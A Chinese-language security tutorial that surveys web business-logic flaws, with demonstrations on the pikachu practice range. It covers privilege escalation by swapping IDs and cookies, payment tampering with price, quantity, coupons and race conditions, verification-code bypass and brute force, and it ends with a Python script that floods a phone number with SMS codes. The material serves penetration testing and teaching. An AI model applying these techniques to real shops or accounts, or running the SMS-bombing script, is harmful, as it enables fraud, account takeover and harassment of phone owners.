Web安全之邏輯漏洞全方位總結

作者：wangkun05 2022-12-08 10:33:48

安全漏洞

一般越權漏洞容易出現在權限頁面(需要登陸的頁面)增，刪，改，查的地方，當用戶對權限頁面內的信息進行這些操作時，后臺需要對當前用戶的權限進行校驗，看其是否具備操作權限，從而給出響應，而如果校驗的規則過于簡單則容易出現越權漏洞。

1、水平越權

1.1、原理

通過更換某個ID之類的身份標識，從而使得A賬號獲取(修改，刪除等)B賬號的數據；

1.2、容易出現的地方：

一般越權漏洞容易出現在權限頁面(需要登陸的頁面)增，刪，改，查的地方，當用戶對權限頁面內的信息進行這些操作時，后臺需要對當前用戶的權限進行校驗，看其是否具備操作權限，從而給出響應，而如果校驗的規則過于簡單則容易出現越權漏洞；

1.3、案例演示

1）我們登陸到pikachu靶場，首先看一下提示：

2）一共兩個用戶，我們登陸到kobe用戶，來測試越權到luck用戶，我們首先登錄到kobe賬戶里面，點擊查看個人信息，抓到包；

3）我們將這里的kobe改為lucy，放包；

4）成功越權到lucy用戶

1.4、危害

在游戲中，假如我們是平民玩家，我們僅僅通過修改ID，就變成了其他玩家，甚至有可能變成氪金大佬；

2、垂直越權

2.1、原理

使用低權限身份的賬號，發送高權限賬號才能有的請求，獲得其高權限的操作；

2.2、容易出現的地方

看看低權限用戶是否能越權使用高權限用戶的功能，比如普通用戶可以使用管理員的功能；

2.3、案例演示

1）我們首先用admin/123456，進行登陸；

2）我們添加用戶進行抓包，然后放在重發器；

3）我們緊接著用pikachu/000000，進行登陸，抓包，將pikachu的cookie替換admin用戶的cookie；

4）我們發送包；

利用pikachu用戶利用admin的cookie成功創建了test賬戶；

2.4、危害

信息泄露，篡改用戶信息，嚴重者可修改密碼等等；

3、墨者靶場演示

1）打開靶場

2）登錄給出的test用戶

3）我們這里通過抓包進行分析，對card_id進行分析

4）發到測試器進行爆破

通過前端分析，他可能是316

5）看響應

輸入賬號，對密碼進行MD5解密

6）登錄成功

4、越權漏洞檢測-burp插件-autorize使用

Autorize是一個旨在幫助滲透測試人員檢測授權漏洞的擴展，這是Web應用程序滲透測試中比較耗時的任務之一；

將低權限用戶的cookie提供給擴展程序并使用高權限用戶瀏覽網站就足夠了，該擴展會自動重復每一個請求與低權限用戶的會話并檢測授權漏洞；

除了授權漏洞之外，還可以在沒有任何cookie的情況下重復每一個請求，以檢測身份驗證漏洞；

該插件無需任何配置即可工作，但也是高度可定制的，允許配置授權執行條件的粒度以及插件必須測試那些請求，那些不需要，可以保存插件的狀態并以HTML或CSV格式導出授權測試報告；

報告的執行狀態如下：

繞過！-紅色
強制執行！-綠色
強制執行？？？(請配置強制檢測器) -黃色

4.1、安裝

1）首先我們需要下載Jython Standalone：https://www.jython.org/download

我們需要選擇紅框里面的進行下載：

2）配置如下：

3）我們配置好之后，接著安裝!

4.2、使用(pikachu為例)

1）獲取低權限的cookie，我們在垂直越權的目錄，首先獲取pikachu/000000的cookie；

2）接著我們去訪問高權限的賬號，這里需要注意，先打開插件的開關，然后再去訪問高權限的賬號；

3）接著就會出現結果；

左邊一列紅色代表存在越權可能；

右邊一列紅色代表存在未授權訪問可能；

接著點擊三代表響應長度的數字，在右側查看具體響應；

如果是響應中包含敏感數據，或者一些增刪改的post請求，就可以報bug了；

5、支付漏洞

5.1、直接修改商品價格

在支付過程中，購買商品一般分為三個步驟：訂購，確認信息，付款，那么這個修改價格具體時修改那一步時的價格？在我看來你可以在這三個步驟中隨便一個步驟進行價格的修改，進行測試，如果前面兩步有驗證機制，那么你可在最后一步付款進行抓包嘗試修改金額，如果沒有在最后一步做好檢驗，那么問題就會存在，其修改的金額值，你可以嘗試小數目或者負數，去測試；

參考案例：http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2016-0226613

5.2、修改支付狀態

1）這個很好理解，就是假設A商品，我們進行了購買，用bp進行抓包，我們看到某一個字段；

0：表示支付成功

1：表示支付失敗

假設我們暫時還未支付，bp顯示的是1，我們將1修改為0；

2）還有我們去購買A商品，是10元，B商品是1000元，我們先購買A商品，將A商品的數據包，給B商品，那么我們就能通過10元購買10000元的商品；

我們抓取購買包，放在重放器，這個商品為5400元；

我們將數據包放在重放器，重要的字段，我們做一下記錄；

index.php?m=Member&a=gobuy&iscart=0&id=69&name=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88&qty=1&price=5400&gtype=%E7%81%B0%E8%89%B2&pic=/damicms/Public/Uploads/thumb/thumb_1393206337.jpg

我們繼續在購買6000元的手機；

抓包，根據經驗，我們將5400手機的數據包，放在6000元手機這里；

兩個數據包進行對比：

我們將5400元手機的數據包替換掉6000元手機的數據包；

這里商品的價格就變成了5400；

5.3、修改商品的數量

支付中。假如1個饅頭10元錢，那么10個饅頭就是100元，那么-1個饅頭那？這種會不會產生零元購問題那？

我們可以看到一個手機為6000元，我們進行抓包；

這里qty這個字段非常可疑，我們將它修改為10，放包；

訂單金額變成了60000萬了，那么我們的猜想完全正確，我們將它的數量改為-1，看看什么情況；

這里的價格變成了-6000，說明漏洞確實存在；

5.4、另類支付

我們在支付的時候，常常會給你一些優惠卷，積分，滿減等等，而這些值同樣都是由操作的空間

1）修改優惠卷

一般優惠卷進行消費往往出現在第二個步驟當中，確認購買信息，這個頁面當中，你可以選擇相關的優惠卷，我們直接修改優惠卷的金額，等于商品的價格，或者直接將其改為負數，最后進行支付，如果說沒有對這個點加以驗證，那么直接可以支付成功；

2）修改優惠卷金額及業務邏輯問題

當你修改其優惠卷值為任意值或負數想要支付的時候，會顯示支付失敗，或者金額有誤等一些提示，可能這個時候，你會選擇放棄，但是當你點開個人中心的時候，點擊訂單詳情，如果存在這個邏輯問題，那么此時在你剛剛修改優惠卷金額后點擊下一步支付的時候，其實已經產生了訂單，在訂單的金額內，你可以看到支付金額為0，然后點擊支付就可以支付成功；

這里好友一個小技巧，有可能會支付失敗，但是如果你找到的這個問題是一個業務分站點，如果有自帶的錢包功能，那么你就可以利用這個自帶的錢包功能去支付這個訂單，而不要利用其他支付類型，就可以支付成功了；

3）修改積分金額

有些網站的積分，比如你消費了多少，就可以擁有一定量的積分，這個積分可以在你付款的時候進行折扣，如果這個積分的金額沒有做好校驗，那么你在支付當中將積分減去的金額變成商品本身的價格，或者負數，是不是就可以產生0原購物了；

4）滿減修改

我們在雙十一的時候，很多會有滿300減100，這種功能，我們能不能將金額修改為滿101減100那？

參考案例：http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2016-0214319

5.5、修改支付接口

一些網站支持多種支付的接口，微信，支付寶，還有第三方的支付工具，然后每一個接口的值不一樣，如果邏輯設計不當，那我隨便選擇一個點擊時進行抓包，然后修改為一個不存在的支付接口，如果接口的相關處理沒有做到位，是不是會支付成功；

5.6、重復支付

淘寶，京東會有很多試用卡。一張卡可以試用一個商品，我們可以將這個試用的商品數據包多次重復提交，如果服務端沒有進行嚴格的校驗的話，就會產生很多這樣的訂單，這時候，我們將這個商品退掉，會怎么樣？我們會不會退回很多試用卡？

5.7、最小支付和最大支付

1）最小支付

很多測試人員在測試漏洞的時候，往往會將金額修改為0.01或者負數，但這這樣會很容易錯失掉一些潛在的漏洞，比如一些網站有金幣或者積分什么的支付的時候可以用這些來支付，10元等于100積分，50元相當于500積分，這個問題如果你在充值的時候將金額修改為0.01和負數會顯示支付失敗，但是如果你修改金額為1元，那么支付就會成功，也就是說1可以購買任意積分了？

其實你在測試的時候，就會發現，1元對應10積分，如果你修改0.01，那么對應的積分就是null，所以會顯示失敗，而當你修改為1元支付接口時存在的，其后面積分數為其他金額的積分，然后跳轉過去支付就會以1元購買到比它多得多的積分，也可以時任意積分；

2）最大支付

一般在開發當中，商品的金額都會用int型來定義，最大值2147483647，我們嘗試修改為2147483648，看看是否能造成整數的溢出，有可能支付狀態異常，從而導致支付成功；

5.8、四舍五入導致支付漏洞

我們以充值為例，余額值一般保存到分為止，那么如果我充值了0.001元也就是1厘，一般開發會在前端判斷我們的數字，或者將最后一位四舍五入，使用支付寶值直接報錯，因為一般第三方只支持到分；

那我們如果充值0.019？由于支付寶只判斷到分，所以導致只能支付0.01，而由于我們支付成功，前端會將9四舍五入，直接變成0.02，所以等于直接半價充值；

5.9、首單半價，無線重構

很多會員啊什么的，為了留住用戶，都會有首月半價，或者免費等等活動，我們可以抓取這個數據包，進行多次支付，就可以一直優惠購買(百度云去年就有這個漏洞，可以6元一月超級會員)

5.10、越權支付

這個問題很早之前就有了，現在很少存在這類問題，在支付當中會出現當前用戶的ID，比如ID=1，我們將ID改為2，如果沒有加以驗證，我們是不是用用戶2的錢支付了用戶1買商品的錢；

5.11、無線次試用

一些網站的一些商品，比如云系列產品支持試用，試用時期一般為7天或者30天，一個賬戶只能試用一次，試用期間不能試用，但如果這個試用接口沒有做好分配，那么很容易產生漏洞，比如支付的時候它的URL后面的支付接口為3，那么此時就會調用購買支付接口，但是由于你本身這個產品就是試用的，其相應值綁定了這個試用的產品，那么金額肯定是0，那么最后點擊支付，你就可以看到支付成功，試用成功，又重復的試用了一次，然后他們的使用時間會累加到一起，這就導致了可無限制購買任何產品了；

5.12、多線程并發問題

多線程并發問題就是沒有實時的處理各種狀態所導致的問題，比如很多平臺都有自家的錢包，而這個錢包是一個迷你錢包，這個錢包作用也僅是用于當前這個平臺網站，再提現的時候，沒有做任何的驗證碼或者校驗機制，只要輸入金額就可以體現，并且是秒到賬，如果是什么負數，修改金額都測試了，不行的話，那你就可以實試一試多線程并發問題，體現的時候進行抓包，比如我現在錢包內有0.1元，那么按照每提0,01元可以提10次的話，也就是發送10次進程，但是利用這個問題可以達到多打幾次成功的進程，體現時進行抓包，然后把數據包發送到BurpSuite工具的Intruder當中，進行批量發送12次，然后可以看到成功體現12次，也就是0.12元，從這里就可以看出這個問題的危害了，當然此時賬戶的金額肯定是為負的了，如果把這個提現金額變大，那么這多提現的金額可不是鬧著玩的。

當然，多線程也可以在其它功能處進行測試，比如我之前講到的試用商品問題，就可以通過多線程進行多幾次的使用，比如利用積分總換禮品，一個賬戶只能進行總換一次，利用這個問題，可以多幾次總換，一些轉賬功能，提現功能，購買功能等等很多。

6、Cookie脆弱性

1）打開環境

2）代碼審計，我們打開login.php;

明顯可以看出來，Cookie傳入了user，如果user為空，退出，就是登陸不成功，我們可以抓包，讓他不為空；

我們讓$user=admin，放包；

這個漏洞可以說非常雞肋，實戰沒有代碼，怎么知道cookie的脆弱性那？那我們就要分析，比如抓包看到了，cookie=admin，那我們可以改一改，讓cookie=test，是不是可以跳轉到test用戶了；

7、客戶端回顯

1）介紹

這種利用回顯抓取數據包，在修改驗證，我們嘗試的時候，有的網站會在你填寫手機號后，點擊發送驗證碼，會對你的手機號和IP進行驗證，看看是不是本地號碼，有的會對傳輸的信息有加密；

2）原理

在調用短信平臺發送信息時，沒有判斷驗證碼和手機號是否綁定，把驗證碼校驗功能直接放到客戶端進行(也就是返回數據包中)，從而導致驗證碼在客戶端回顯；

3）危害

這個危害有一點明顯，登陸，注冊，綁定，重置任意用戶的密碼；

4）利用

客戶端回顯，就是當注冊或者綁定的時候，用戶向網站系統發送一條短信驗證碼的請求，cookie中會包含短信驗證碼并且回顯在數據包中，如cookie=xxxxxx es_id=534324,我們這時候通過抓包工具可截取真實的驗證碼，如cookie=xxxxxx es_id=567475，通過分析，真實得驗證碼為567475，我們這時候，將驗證碼修改為正確的驗證碼，提交上去，就會成功注冊或者綁定；

8、Response狀態值

1）原理

Response狀態值，就是在服務器發送某個密碼重置的憑據之后，出現特定的響應值(ture，1，ok，success等等，例如響應頭中的HTTP/1.1 200 ok)

2）利用過程

對Response狀態值修改后，如果存在校驗不嚴(存在邏輯漏洞)，并且回顯值得校驗是在客戶端進行，就能使相關操作成功被執行；

就像密碼重置中的驗證碼問題，如果回顯值得校驗是發送到客戶端進行，通過對校驗值得使用規則進行分析后，抓包將Response狀態值改為正確得，然后放包，從而達到重置密碼得效果；

3）案例演示

演示地址：[http://xxx.com/Admin/Login.aspx]

我們賬號密碼輸入admin/admin，進行抓包，我們將包首先放到Repeater中看看結構；

我們能不能猜測"d":"0,賬號密碼錯誤!"，我們將0改為1，直接登陸那？

我們攔截響應包，將0改為1；

成功進來了；

9、驗證碼

9.1、無效驗證

在驗證碼模塊，但驗證模塊與業務功能沒有關聯性，此為無效驗證，一般在新上線得系統中比較常見；

我們在獲取短信驗證碼后，隨意輸入驗證碼，直接輸入兩次密碼，可成功更改用戶得密碼，沒有對驗證碼進行驗證；

9.2、任意用戶注冊

我們首先利用自己得手機號接收驗證碼進行驗證，下一步跳轉一個設定密碼得頁面，接下來抓包，篡改手機號碼，使用任意手機號進行注冊，問題解讀：這里業務一致性存在安全隱患，身份驗證與密碼修改得過程是分開的，驗證無效；

9.3、客戶端驗證繞過

客戶端驗證是不安全的，和我上面的邏輯漏洞一樣，可能會導致任意賬號的注冊，登陸以及重置任意用戶等一系列的問題，有的時候會直接在前端顯示驗證碼的明文信息；

我們拿到前端的驗證碼，即可成功重置密碼；

9.4、返回密文驗證碼

我們用抓包工具，抓取到包之后，會返回一大串密文，這個時候，我們把密文拿去解密，即可獲得驗證碼；

9.5、攔截替換返回包

我們第一步使用正常的賬號修改密碼，獲取驗證碼通過時服務器的返回包，保存該信息，我們第二次，用另一個賬號進行登陸，這時候，我們不知道驗證碼，我們隨便輸入驗證碼，在抓到驗證碼錯誤的返回包，我們將剛才正常的返回包替換掉錯誤的返回包，這時候會提示密碼修改成功；

9.6、驗證碼爆破

短信驗證碼一般由4位后者6位數字組成(還有特殊情況，字母數字組合等等)，若服務器未對驗證時間，次數進行限制，則存在爆破的可能；

輸入手機號獲取驗證碼，輸入任意驗證碼，抓包放到Intruder模塊，將短信驗證碼字段設置偽payload，然后取值范圍設定好，進行暴力破解，根據返回響應包的長度判斷是否爆破成功；

9.7、驗證碼與手機未綁定

一般來說短信驗證碼僅能使用一次，驗證碼和手機號未綁定，驗證碼一段時間內有效，那么就可能出現如下情況：

A手機驗證碼，B可能拿來用
A手機在一定時間間隔內接收到兩個驗證碼，都可以用；
檢測接收驗證碼的手機號和綁定的手機號是否一致

案例：任意用戶密碼重置

使用自己的手機號收到驗證碼
自己的驗證碼和對方手機號填上，下一步就是設置新的密碼

9.8、代碼層邏輯缺陷

如果代碼層的邏輯是這個樣子：

驗證手機號是否已發送驗證碼
去除用戶輸入的空格和其他特殊字符
重新發送驗證碼

那么，可利用"\n"和空格進行繞過，持續遞增空格就可造成無線短信轟炸，我們在手機號后面加一位進行fuzz，可能會有不一樣的結果；

10、短信轟炸

1）短信轟炸時手機驗證碼中最常見的一種漏洞類型，在測試過程中，對短信驗證碼接口進行重發數據包，導致大量發送惡意短信；

2）大多數情況下，短信驗證碼都是間隔60秒，這種情況，我們就每隔60秒發一條短信，無線下發，短信轟炸，在測試過程中，可通過編寫Python腳本來實現短信轟炸；

#coding=utf-8
import json
import requests
import time
start_time = time.time()
count =input("Please input counts:")
phone =raw_input("Please inut your phone:")
i=0
while (i<count):
    url= "http://xxxx.cn:9092/map/GenerationUpdate"
    data=json.dumps({"headerInfo": { "functionCode": "randomcode4G"},"requestContent":{"phoneNumber":phone}})

    header = { 'User-Agent' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1''Host': 'xxxx.com:9092'，
             }
    r = requests.post(url, data=data,headers=header,timeout=5)
    result=r.content
    if result.count('serviceCode":0'):
        print 'Sending message : %d seconds ' % (time.time()-start_time)
    i=i+1
#print 'send %s time'%(i)